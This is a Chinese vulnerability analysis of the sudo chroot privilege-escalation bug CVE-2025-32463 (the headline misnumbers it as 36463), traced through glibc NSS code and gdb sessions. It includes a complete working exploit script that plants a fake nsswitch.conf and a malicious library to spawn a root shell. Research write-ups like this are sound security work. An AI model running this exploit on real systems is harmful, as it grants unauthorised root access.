CVE-2025-36463 Sudo_chroot Elevation of Privilege 漏洞分析
sudo存在提权漏洞CVE-2025-32463,在特定配置下允许攻击者通过伪造nsswitch.conf文件加载恶意库以获取root权限。 2025-7-4 06:51:37 Author: govuln.com(查看原文) 阅读量:25 收藏

TL; DR

startascale 6 月 30 日发布了几个 sudo 的提权漏洞,CVE-CVE-2025-32463[1] 是其中一个, 另外一个 CVE-2025-32462[2] 需要一个特殊配置。

该漏洞依赖于 Sudo 规则被限制在特定主机名或主机名模式的配置场景下。如果满足这些条件,权限提升到 root 无需任何漏洞利用(exploit)。

漏洞分析

CVE-2025-32463在Sudo v1.9.14(2023年6月)中引入(https://github.com/sudo-project/sudo/blob/SUDO_1_9_14/NEWS),在使用chroot功能时,更新了命令匹配处理代码。本文漏洞分析的sudo代码 commit 为: cb3355e9d4f66db642b9c0e9151423762504339b

该代码逻辑在, plugins/sudoers/sudoers.c 文件中的 set_cmnd_path 函数里,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
{
...

if (runchroot != NULL) {
if (!pivot_root(runchroot, &pivot_state))
goto error;
}
...
ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path);
...
if (runchroot != NULL)
(void)unpivot_root(&pivot_state);
...

代码逻辑大致是:
1. pivot_root 函数进行 chroot 2. resolve_cmnd函数去进行命令的匹配查找路径 3. 最后unpivot_root` chroot 回到原来的 root path

漏洞的发生点其实就是在 pivot_rootunpivot_root 之间,有代码逻辑去读取 /etc/nsswitch.conf 文件并进行了 nss_database* 的更新。

当我看到这个漏洞和代码的时候有一个直觉性的疑问, 如果在 chroot 后会进行 /etc/nsswitch.conf 的读取, 且读取的是 chroot 里的文件,那么为什么unpivot_root 后代码代码逻辑不会重新读取 /etc/nsswitch.conf 。 因此这个漏洞分析以两个疑问展开分析:

  1. pivot_rootunpivot_root 之间什么操作导致会重新加载 /etc/nsswitch.conf
  2. 为什么 unpivot_root 之后到加载恶意代码之前不会重新读取 /etc/nsswitch.conf

nss_database_check_reload_and_get 分析

nss 相关代码的简单追踪, 我们定位到 nss_database_check_reload_and_get[2] 会调用 nss_database_reload 函数进而打开 /etc/nsswitch.conf 配置文件

调用链如下:

1
2
3
static bool nss_database_check_reload_and_get 
-> static bool ss_database_reload
-> FILE *fp = fopen (_PATH_NSSWITCH_CONF, "rce");

我们在 pivot_root 之后对 nss_database_check_reload_and_get 下个断点,此时 gdb 的backtrace 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Breakpoint 1, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups)
at ./nss/nss_database.c:396
warning: 396 ./nss/nss_database.c: No such file or directory
(gdb) bt
#0 nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups) at ./nss/nss_database.c:396
#1 0x00007ffff7d56ddc in internal_getgrouplist (user=user@entry=0x5555555a8d98 "root", group=group@entry=0, size=size@entry=0x7fffffffc568,
groupsp=groupsp@entry=0x7fffffffc570, limit=limit@entry=-1) at ./nss/initgroups.c:75
#2 0x00007ffff7d570dc in getgrouplist (user=user@entry=0x5555555a8d98 "root", group=group@entry=0, groups=groups@entry=0x7ffff7b15010,
ngroups=ngroups@entry=0x7fffffffc5d4) at ./nss/initgroups.c:156
#3 0x00007ffff7fa51a9 in sudo_getgrouplist2_v1 (name=0x5555555a8d98 "root", basegid=0, groupsp=groupsp@entry=0x7fffffffc630,
ngroupsp=ngroupsp@entry=0x7fffffffc63c) at ./getgrouplist.c:105
#4 0x00007ffff7ed987e in sudo_make_gidlist_item (pw=0x5555555a8d68, ngids=<optimized out>, gids=<optimized out>, gidstrs=0x0, type=1) at ./pwutil_impl.c:298
#5 0x00007ffff7ed83d5 in sudo_get_gidlist (pw=0x5555555a8d68, type=type@entry=1) at ./pwutil.c:1033
#6 0x00007ffff7ecfbcb in runas_getgroups (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>) at ./match.c:146
#7 0x00007ffff7ebbc3c in runas_setgroups (ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./set_perms.c:1634
#8 set_perms (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, perm=perm@entry=5) at ./set_perms.c:285
#9 0x00007ffff7edadb8 in resolve_cmnd (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, infile=infile@entry=0x7fffffffe594 "woot",
outfile=outfile@entry=0x7fffffffcc40, path=path@entry=0x5555555b0400 "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin")
at ./resolve_cmnd.c:42
#10 0x00007ffff7ebebbc in set_cmnd_path (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, runchroot=0x5555555a701c "woot") at ./sudoers.c:1108
#11 0x00007ffff7ebf047 in set_cmnd (ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./sudoers.c:1177
#12 sudoers_check_common (pwflag=pwflag@entry=0, ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./sudoers.c:358
#13 0x00007ffff7ec06c8 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7fffffffe2d0, env_add=env_add@entry=0x0,
closure=closure@entry=0x7fffffffcdd0) at ./sudoers.c:689
#14 0x00007ffff7eb6673 in sudoers_policy_check (argc=1, argv=0x7fffffffe2d0, env_add=0x0, command_infop=0x7fffffffcea0, argv_out=0x7fffffffcea8,
user_env_out=0x7fffffffceb0, errstr=0x7fffffffcec8) at ./policy.c:1244
#15 0x000055555555cffb in policy_check (run_envp=0x7fffffffceb0, run_argv=0x7fffffffcea8, command_info=0x7fffffffcea0, env_add=0x0, argv=0x7fffffffe2d0,
argc=1) at ./sudo.c:1266
#16 main (

当前 nss_database_check_reload_and_get 的第三个参数 database_indexnss_database_initgroupslocal 参数结构:

1
2
3
4
5
(gdb) p *local
$1 = {data = {nsswitch_conf = {size = 527, ino = 106330, mtime = {tv_sec = 1751446775, tv_nsec = 344332209}, ctime = {tv_sec = 1751446775,
tv_nsec = 345332238}}, services = {0x5555555a1060, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0, 0x5555555a1200, 0x5555555a2020, 0x0,
0x5555555a20c0, 0x5555555a1060, 0x5555555a1200, 0x5555555a20c0, 0x5555555a2070, 0x5555555a3b20, 0x5555555a2070, 0x5555555a2070, 0x5555555a1200,
0x5555555a20c0}, reload_disabled = 0, initialized = true}, lock = 0, root_ino = 2, root_dev = 64769}

其中 services 对应如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 DEFINE_DATABASE (aliases)
DEFINE_DATABASE (ethers)
DEFINE_DATABASE (group)
DEFINE_DATABASE (group_compat)
DEFINE_DATABASE (gshadow)
DEFINE_DATABASE (hosts)
DEFINE_DATABASE (initgroups)
DEFINE_DATABASE (netgroup)
DEFINE_DATABASE (networks)
DEFINE_DATABASE (passwd)
DEFINE_DATABASE (passwd_compat)
DEFINE_DATABASE (protocols)
DEFINE_DATABASE (publickey)
DEFINE_DATABASE (rpc)
DEFINE_DATABASE (services)
DEFINE_DATABASE (shadow)
DEFINE_DATABASE (shadow_compat)

在进 nss_database_reload 函数的时候,里面有个逻辑是, 如果 staging->services[i] == NULL 就设置为 default 的值,

1
2
3
4
5
6
7
8
for (int i = 0; i < NSS_DATABASE_COUNT; ++i)
if (staging->services[i] == NULL)
{
ok = nss_database_select_default (&cache, i,
&staging->services[i]);
if (!ok)
break;
}

nss_database_select_default 获取然后设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static const char per_database_defaults[NSS_DATABASE_COUNT] =
{
[nss_database_group] = nss_database_default_compat,
[nss_database_group_compat] = nss_database_default_nis,
[nss_database_gshadow] = nss_database_default_files,
[nss_database_hosts] = nss_database_default_dns,
[nss_database_initgroups] = nss_database_default_none,
[nss_database_networks] = nss_database_default_dns,
[nss_database_passwd] = nss_database_default_compat,
[nss_database_passwd_compat] = nss_database_default_nis,
[nss_database_publickey] = nss_database_default_nis_nisplus,
[nss_database_shadow] = nss_database_default_compat,
[nss_database_shadow_compat] = nss_database_default_nis,
};


static bool
nss_database_select_default (struct nss_database_default_cache *cache,
enum nss_database db, nss_action_list *result)
{
enum nss_database_default def = per_database_defaults[db];
...
case nss_database_default_none:

return true;
...
*result = __nss_action_parse (line);
if (*result == NULL)
{
assert (errno == ENOMEM);
return false;
}
return true;

nss_database_initgroups 设置的时候,默认为 None, 因此此时 servicenss_database_initgroups 是 0x0 (这个很重要)

1
2
3
4
5
(gdb) p *local
$1 = {data = {nsswitch_conf = {size = 527, ino = 106330, mtime = {tv_sec = 1751446775, tv_nsec = 344332209}, ctime = {tv_sec = 1751446775,
tv_nsec = 345332238}}, services = {0x5555555a1060, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0, 0x5555555a1200, 0x5555555a2020, 0x0,
0x5555555a20c0, 0x5555555a1060, 0x5555555a1200, 0x5555555a20c0, 0x5555555a2070, 0x5555555a3b20, 0x5555555a2070, 0x5555555a2070, 0x5555555a1200,
0x5555555a20c0}, reload_disabled = 0, initialized = true}, lock = 0, root_ino = 2, root_dev = 64769}

解释了下,此时((struct nss_database_state *)local)->data.services[nss_database_initgroups]为空的原因,我们接着回到 nss_database_check_reload_and_get的代码里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

static bool
nss_database_check_reload_and_get (struct nss_database_state *local,
nss_action_list *result,
enum nss_database database_index)
{
struct __stat64_t64 str;



if (atomic_load_acquire (&local->data.reload_disabled))
{
*result = local->data.services[database_index];

return true;
}
struct file_change_detection initial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
return false;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
{


*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}
int stat_rv = __stat64_time64 ("/", &str);
if (local->data.services[database_index] != NULL)
{




if (stat_rv != 0
|| (local->root_ino != 0
&& (str.st_ino != local->root_ino
|| str.st_dev != local->root_dev)))
{

atomic_store_release (&local->data.reload_disabled, 1);
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}
}
if (stat_rv == 0)
{
local->root_ino = str.st_ino;
local->root_dev = str.st_dev;
}
__libc_lock_unlock (local->lock);




struct nss_database_data staging = { .initialized = true, };
bool ok = nss_database_reload (&staging, &initial);
if (ok)
{
__libc_lock_lock (local->lock);

if (!atomic_load_acquire (&local->data.reload_disabled))



local->data = staging;
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
}
return ok;
}

在刚进 nss_database_check_reload_and_get 函数的时候, 先是判断 local->data.reload_dsiable
是否为 True, 如果为True 则直接 return

1
2
3
4
5
6
if (atomic_load_acquire (&local->data.reload_disabled))
{
*result = local->data.services[database_index];

return true;
}

然后是判断/etc/nsswitch.conf文件是否修改:

1
2
3
4
5
6
7
8
9
10
11
12
struct file_change_detection initial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
return false;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
{


*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}

因为此时是刚 chroot 进来, 所以此时的 /etc/nsswitch.conf是一个修改的状态,所以代码会继续往下走。然后是一个重点逻辑, 如果代码判断成功,则设置 local->data.reload_disabled 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 if (local->data.services[database_index] != NULL)
{




if (stat_rv != 0
|| (local->root_ino != 0
&& (str.st_ino != local->root_ino
|| str.st_dev != local->root_dev)))
{

atomic_store_release (&local->data.reload_disabled, 1);
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}
}

因为当前 local->data.services[database_index] 为 NULL (此时((struct nss_database_state *)local)->data.services[nss_database_initgroups]为空)

因此不会去设置 local->data.reload_disabled , 此时 local->data.reload_disabled 仍然为 0

1
2
(gdb) p ((struct nss_database_state *)local)->data.reload_disabled
$8 = 0

然后保存当前的 root inode 和 root dev

1
2
3
4
5
if (stat_rv == 0)
{
local->root_ino = str.st_ino;
local->root_dev = str.st_dev;
}

最后就走到 bool ok = nss_database_reload (&staging, &initial); 进行 database 的reload。

[!小结]

这里就解答了第一个问题, 由于 getgrouplist 的调用因此调用了nss_database_check_reload_and_get 函数。

nss_database_check_reload_and_get函数里,由于此时 reload_disabled 没有设置且services[nss_database_initgroups] 是空,所以走到了 nss_database_reload

reload_disabled

nss_database_check_reload_and_get 断点 , 并在 pivot_rootunpivot_root 下断点。然后打印出在 nss_database_check_reload_and_get 的第三个参数database_index

1
2
3
4
5
6
7
8
9
10
11
>end
(gdb) i b
Num Type Disp Enb Address What
3 breakpoint keep y <MULTIPLE>
3.1 y 0x00007ffff7d2b050 in pivot_root at ../sysdeps/unix/syscall-template.S:120
3.2 y 0x00007ffff7eb59b0 in pivot_root at ./pivot.c:39
4 breakpoint keep y 0x00007ffff7eb5b00 in unpivot_root at ./pivot.c:64
5 breakpoint keep y 0x00007ffff7d52300 in nss_database_check_reload_and_get at ./nss/nss_database.c:396
i r rdx
c
(gdb)

我们可以清楚的看到在 pivot_rootunpivot_root 前后 nss_database_check_reload_and_get 的参数不同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Breakpoint 3.2, pivot_root (new_root=0x5555555a701c "woot", state=0x7fffffffcc38) at ./pivot.c:39
39 {
(gdb) c
Continuing.
Download failed: Invalid argument. Continuing without source file ./nss/./nss/nss_database.c.

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups)
at ./nss/nss_database.c:396
warning: 396 ./nss/nss_database.c: No such file or directory
rdx 0x6 6

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_group) at ./nss/nss_database.c:396
396 in ./nss/nss_database.c
rdx 0x2 2

Breakpoint 4, unpivot_root (state=state@entry=0x7fffffffcc38) at ./pivot.c:64
64 {
(gdb) c
Continuing.
Download failed: Invalid argument. Continuing without source file ./nss/./nss/nss_database.c.

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b68 <__nss_group_database>, database_index=nss_database_group)
at ./nss/nss_database.c:396
warning: 396 ./nss/nss_database.c: No such file or directory
rdx 0x2 2

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b68 <__nss_group_database>, database_index=nss_database_group)
at ./nss/nss_database.c:396
396 in ./nss/nss_database.c
rdx 0x2 2

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b00 <__nss_shadow_database>, database_index=nss_database_shadow)
at ./nss/nss_database.c:396
396 in ./nss/nss_database.c
rdx 0xf 15
Downloading separate debug info for libnss_/woot1337.so.2
Download failed: Invalid argument. Continuing without source file ./nss/./nss/nss_database.c.

整理出来就是:

1
2
3
4
5
6
7
8
9
10
nss_database_passwd 9
nss_database_passwd 9
nss_database_passwd 9
# pivot_root
nss_database_initgroups 6
nss_database_group 2
# unpivot_root
nss_database_group 2
nss_database_group 2
nss_database_shadow 15 # load lib

在章节 ”nss_database_check_reload_and_get 分析“的时候我们知道 nss_database_initgroups的时候 reload_disabled 不会设置。

当到第一个 nss_database_group 的时候, 由于文件没有修改, 所以会直接 return。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) n
418 *result = local->data.services[database_index];
(gdb) l
413 __libc_lock_lock (local->lock);
414 if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
415 {
416

418 *result = local->data.services[database_index];
419 __libc_lock_unlock (local->lock);
420 return true;
421 }
422
(gdb)

不会走后续的逻辑。

当走完 unpivot_root 来到第二个nss_database_group, reload_disabled 没有设置, 走到文件修改比较。 因为此时已经 unpivot_root, 因此文件是有变化的, 程序会继续执行。

当走到 if (local->data.services[database_index] != NULL) 判断的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 if (local->data.services[database_index] != NULL)
{




if (stat_rv != 0
|| (local->root_ino != 0
&& (str.st_ino != local->root_ino
|| str.st_dev != local->root_dev)))
{

atomic_store_release (&local->data.reload_disabled, 1);
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}
}

由于 local->data.services[database_index] 不为空, 因此会进入 if 的逻辑。 且此时

1
2
3
4
5
stat_rv = 0
((struct nss_database_state *)local)->root_ino = 0x560d0
((struct nss_database_state *)0x5555555a1ad0)->root_dev = 0xfd01
str.st_ino != local->root_ino
str.st_dev != local->root_dev

符合这个 if 的判断, 会进到 atomic_store_release (&local->data.reload_disabled, 1); , 走完这句代码后 local->data.reload_disabled 就会被设置为 1, 然后直接返回。

那么之后剩下的 nss_database_check_reload_and_get 函数调用都会在开头就会返回,不会进到 nss_database_reload 逻辑里

[!小结]
这里就解决了第二个疑问, 为什么后续 nss_database_check_reload_and_get 函数调用不会进到 nss_database_reload。 因为代码逻辑当 chroot 回到原来的目录的时候,调用第一个 nss_database_check_reload_and_get 会将 reload_disabled 设置成 1 且返回, 后续的调用就不会再进 nss_database_reload

load evil library

利用直接参考贴原作者的就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash



STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

在不可信任的路径里配置一个 etc/nsswitch.conf, 内容如下:

1
2
bash-5.2$ cat woot/etc/nsswitch.conf
passwd: /woot1337

一个有趣的说明,nsswitch.conf中的源的名称也被用作共享对象(库)的路径的一部分。例如,上述LDAP源转化为 libnss_/woot1337.so.2.so

那么在哪里加载恶意 so 的呢? 我们对 dlopen 下一个断点, 然后查看一下他的 backtrace。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#0  0x00007ffff7e86191 in woot () from libnss_/woot1337.so.2
#1 0x00007ffff7fca6d5 in call_init (l=0x5555555b5cb0, argc=argc@entry=4, argv=argv@entry=0x7fffffffe2b8, env=env@entry=0x7fffffffe2e0)
at ./elf/dl-init.c:60
#2 0x00007ffff7fca824 in call_init (env=<optimized out>, argv=<optimized out>, argc=<optimized out>, l=<optimized out>) at ./elf/dl-init.c:120
#3 _dl_init (main_map=0x5555555b5cb0, argc=4, argv=0x7fffffffe2b8, env=0x7fffffffe2e0) at ./elf/dl-init.c:121
#4 0x00007ffff7fc65b2 in __GI__dl_catch_exception (exception=exception@entry=0x0, operate=operate@entry=0x7ffff7fd1cc0 <call_dl_init>,
args=args@entry=0x7fffffffc340) at ./elf/dl-catch.c:211
#5 0x00007ffff7fd1d7c in dl_open_worker (a=0x7fffffffc4f0) at ./elf/dl-open.c:829
#6 dl_open_worker (a=a@entry=0x7fffffffc4f0) at ./elf/dl-open.c:792
#7 0x00007ffff7fc651c in __GI__dl_catch_exception (exception=exception@entry=0x7fffffffc4d0, operate=operate@entry=0x7ffff7fd1ce0 <dl_open_worker>,
args=args@entry=0x7fffffffc4f0) at ./elf/dl-catch.c:237
#8 0x00007ffff7fd2164 in _dl_open (file=0x5555555b4d40 "libnss_/woot1337.so.2", mode=<optimized out>, caller_dlopen=0x7ffff7d53a0f <module_load+175>,
nsid=<optimized out>, argc=4, argv=0x7fffffffe2b8, env=0x7fffffffe2e0) at ./elf/dl-open.c:905
#9 0x00007ffff7d840d5 in do_dlopen (ptr=ptr@entry=0x7fffffffc750) at ./elf/dl-libc.c:95
#10 0x00007ffff7fc651c in __GI__dl_catch_exception (exception=exception@entry=0x7fffffffc6e0, operate=0x7ffff7d84090 <do_dlopen>, args=0x7fffffffc750)
at ./elf/dl-catch.c:237
#11 0x00007ffff7fc6669 in _dl_catch_error (objname=0x7fffffffc740, errstring=0x7fffffffc748, mallocedp=0x7fffffffc73f, operate=<optimized out>,
args=<optimized out>) at ./elf/dl-catch.c:256
#12 0x00007ffff7d844ef in dlerror_run (args=0x7fffffffc750, operate=0x7ffff7d84090 <do_dlopen>) at ./elf/dl-libc.c:45
#13 __libc_dlopen_mode (name=<optimized out>, mode=mode@entry=-2147483646) at ./elf/dl-libc.c:162
#14 0x00007ffff7d53a0f in module_load (module=0x5555555af790) at ./nss/nss_module.c:187
#15 0x00007ffff7d53ee5 in __nss_module_load (module=0x5555555af790) at ./nss/nss_module.c:302
#16 __nss_module_get_function (module=0x5555555af790, name=name@entry=0x7ffff7dcf1eb "setspent") at ./nss/nss_module.c:328
#17 0x00007ffff7d5460b in __GI___nss_lookup_function (fct_name=0x7ffff7dcf1eb "setspent", ni=<optimized out>) at ./nss/nsswitch.c:137
#18 __GI___nss_lookup (ni=0x7ffff7e11690 <nip>, fct_name=0x7ffff7dcf1eb "setspent", fct2_name=0x0, fctp=0x7fffffffcac0) at ./nss/nsswitch.c:67
#19 0x00007ffff7d51306 in setup (all=1, startp=0x7ffff7e11680 <startp>, nip=0x7ffff7e11690 <nip>, fctp=0x7fffffffcac0,
lookup_fct=0x7ffff7d50a80 <__GI___nss_shadow_lookup2>, func_name=0x7ffff7dcf1eb "setspent") at ./nss/getnssent_r.c:33
#20 __nss_setent (func_name=func_name@entry=0x7ffff7dcf1eb "setspent", lookup_fct=0x7ffff7d50a80 <__GI___nss_shadow_lookup2>,
nip=nip@entry=0x7ffff7e11690 <nip>, startp=startp@entry=0x7ffff7e11680 <startp>, last_nip=last_nip@entry=0x7ffff7e11688 <last_nip>,
stayopen=stayopen@entry=0, stayopen_tmp=0x0, res=0) at ./nss/getnssent_r.c:76
#21 0x00007ffff7d6490b in setspent () at ../nss/getXXent_r.c:124
#22 0x00007ffff7e98b33 in sudo_setspent () at ./getspwuid.c:122
#23 0x00007ffff7e98c27 in sudo_passwd_init (ctx=<optimized out>, pw=0x5555555a8a78, auth=0x7ffff7f29020 <auth_switch>) at ./auth/passwd.c:57
#24 0x00007ffff7e97a84 in sudo_auth_init (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, pw=0x5555555a8a78, mode=mode@entry=33554433)
at ./auth/sudo_auth.c:117
#25 0x00007ffff7e9a9a3 in check_user (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, validated=validated@entry=96, mode=33554433) at ./check.c:136
#26 0x00007ffff7ebf201 in sudoers_check_common (pwflag=pwflag@entry=0, ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./sudoers.c:468
#27 0x00007ffff7ec06c8 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7fffffffe2d0, env_add=env_add@entry=0x0,
closure=closure@entry=0x7fffffffcdd0) at ./sudoers.c:689
#28 0x00007ffff7eb6673 in sudoers_policy_check (argc=1, argv=0x7fffffffe2d0, env_add=0x0, command_infop=0x7fffffffcea0, argv_out=0x7fffffffcea8,
user_env_out=0x7fffffffceb0, errstr=0x7fffffffcec8) at ./policy.c:1244
#29 0x000055555555cffb in policy_check (run_envp=0x7fffffffceb0, run_argv=0x7fffffffcea8, command_info=0x7fffffffcea0, env_add=0x0, argv=0x7fffffffe2d0,
argc=1) at ./sudo.c:1266
#30 main (argc=<optimized out>, argv=<optimized out>, envp=0x7fffffffe2e0) at ./sudo.c:261
(gdb)

从这个调用链,我们就很清楚的知道了是在 setspent 之后进行的 dlopen 加载恶意的 so

1
2
3
4
5
6
policy_check -> sudoers_policy_check -> sudoers_check_cmnd
-> sudoers_check_common
-> set_cmnd_path
-> check_user -> sudo_auth_init -> sudo_passwd_init -> sudo_setspent -> setspent
-> setup -> module_load

那么 setspent 做了什么呢? setspent 函数会用来打开 shadows 文件的方法一个使用的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

setpwent();
while(gets(buf) != NULL)
{
if((sp = getspnam(buf)) != (struct spwd *) 0 )
{
printf("Vaild login name is:%s\n",sp->sp_namp);
}
else
{
setspent();
while((sp = getspent()) != (struct spwd *)0)
{
printf("%s\n", sp->sp_namp);
}
}

setspent 实现代码[3]

1
2
3
4
5
6
7
8
9
10
11
void
SETFUNC_NAME (STAYOPEN)
{
int save;
__libc_lock_lock (lock);
__nss_setent (SETFUNC_NAME_STRING, DB_LOOKUP_FCT, &nip, &startp,
&last_nip, STAYOPEN_VAR, STAYOPEN_TMPVAR, NEED__RES);
save = errno;
__libc_lock_unlock (lock);
__set_errno (save);
}

当调用到module_load的时候就会加载 so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

static bool
module_load (struct nss_module *module)
{
if (strcmp (module->name, "files") == 0)
return module_load_nss_files (module);
if (strcmp (module->name, "dns") == 0)
return module_load_nss_dns (module);
void *handle;
{
char *shlib_name;
if (__asprintf (&shlib_name, "libnss_%s.so%s",
module->name, __nss_shlib_revision) < 0)



return false;
handle = __libc_dlopen (shlib_name);
free (shlib_name);
}





if (handle == NULL)
{



__libc_lock_lock (nss_module_list_lock);
bool result = result;
switch ((enum nss_module_state) atomic_load_acquire (&module->state))
{
case nss_module_uninitialized:
atomic_store_release (&module->state, nss_module_failed);
result = false;
break;
case nss_module_loaded:
result = true;
break;
case nss_module_failed:
result = false;
break;
}
__libc_lock_unlock (nss_module_list_lock);
return result;
}
nss_module_functions_untyped pointers;



for (size_t idx = 0; idx < array_length (nss_function_name_array); ++idx)
{
char *function_name;
if (__asprintf (&function_name, "_nss_%s_%s",
module->name, nss_function_name_array[idx]) < 0)
{

__libc_dlclose (handle);
return false;
}
pointers[idx] = __libc_dlsym (handle, function_name);
free (function_name);
PTR_MANGLE (pointers[idx]);
}

image.png

复现

image.png

Patched

修复 commit [5]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


@@ -1080,7 +1080,6 @@
int
set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
{
- struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER;
const char *cmnd_in;
char *cmnd_out = NULL;
char *path = ctx->user.path;
@@ -1099,13 +1098,7 @@
if (def_secure_path && !user_is_exempt(ctx))
path = def_secure_path;

- /* Pivot root. */
- if (runchroot != NULL) {
- if (!pivot_root(runchroot, &pivot_state))
- goto error;
- }
-
- ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path);
+ ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path, runchroot);
if (ret == FOUND) {
char *slash = strrchr(cmnd_out, '/');
if (slash != NULL) {
@@ -1122,14 +1115,8 @@
else
ctx->user.cmnd = cmnd_out;

- /* Restore root. */
- if (runchroot != NULL)
- (void)unpivot_root(&pivot_state);
-
debug_return_int(ret);
error:
- if (runchroot != NULL)
- (void)unpivot_root(&pivot_state);
free(cmnd_out);
debug_return_int(NOT_FOUND_ERROR);
}

删除了 pivot_root , 以及看后续似乎要 deprecated chroot [6]

思考

这个漏洞有一个很巧合的地方, 如果当pivot_root之后, 调用到的第一个nss_database_check_reload_and_get 的第三个参数 database_index 不是 nss_database_initgroups , 且默认 nss_database_initgroups 初始化就是空 ,那么就会走到 reload_disabled 的地方并且返回, 那么之后就根本不会再读取 nsswich.conf

我们去跟了下 libc 对 nss_database 初始化的变更 [4], 上一次的更改在五年前, 但是这个漏洞是在 23 年引入的。 目前看起来没什么特别的大关联, 应该就是特别特别的巧合。。。


文章来源: https://govuln.com/news/url/kbdx
如有侵权请联系:admin#unsafe.sh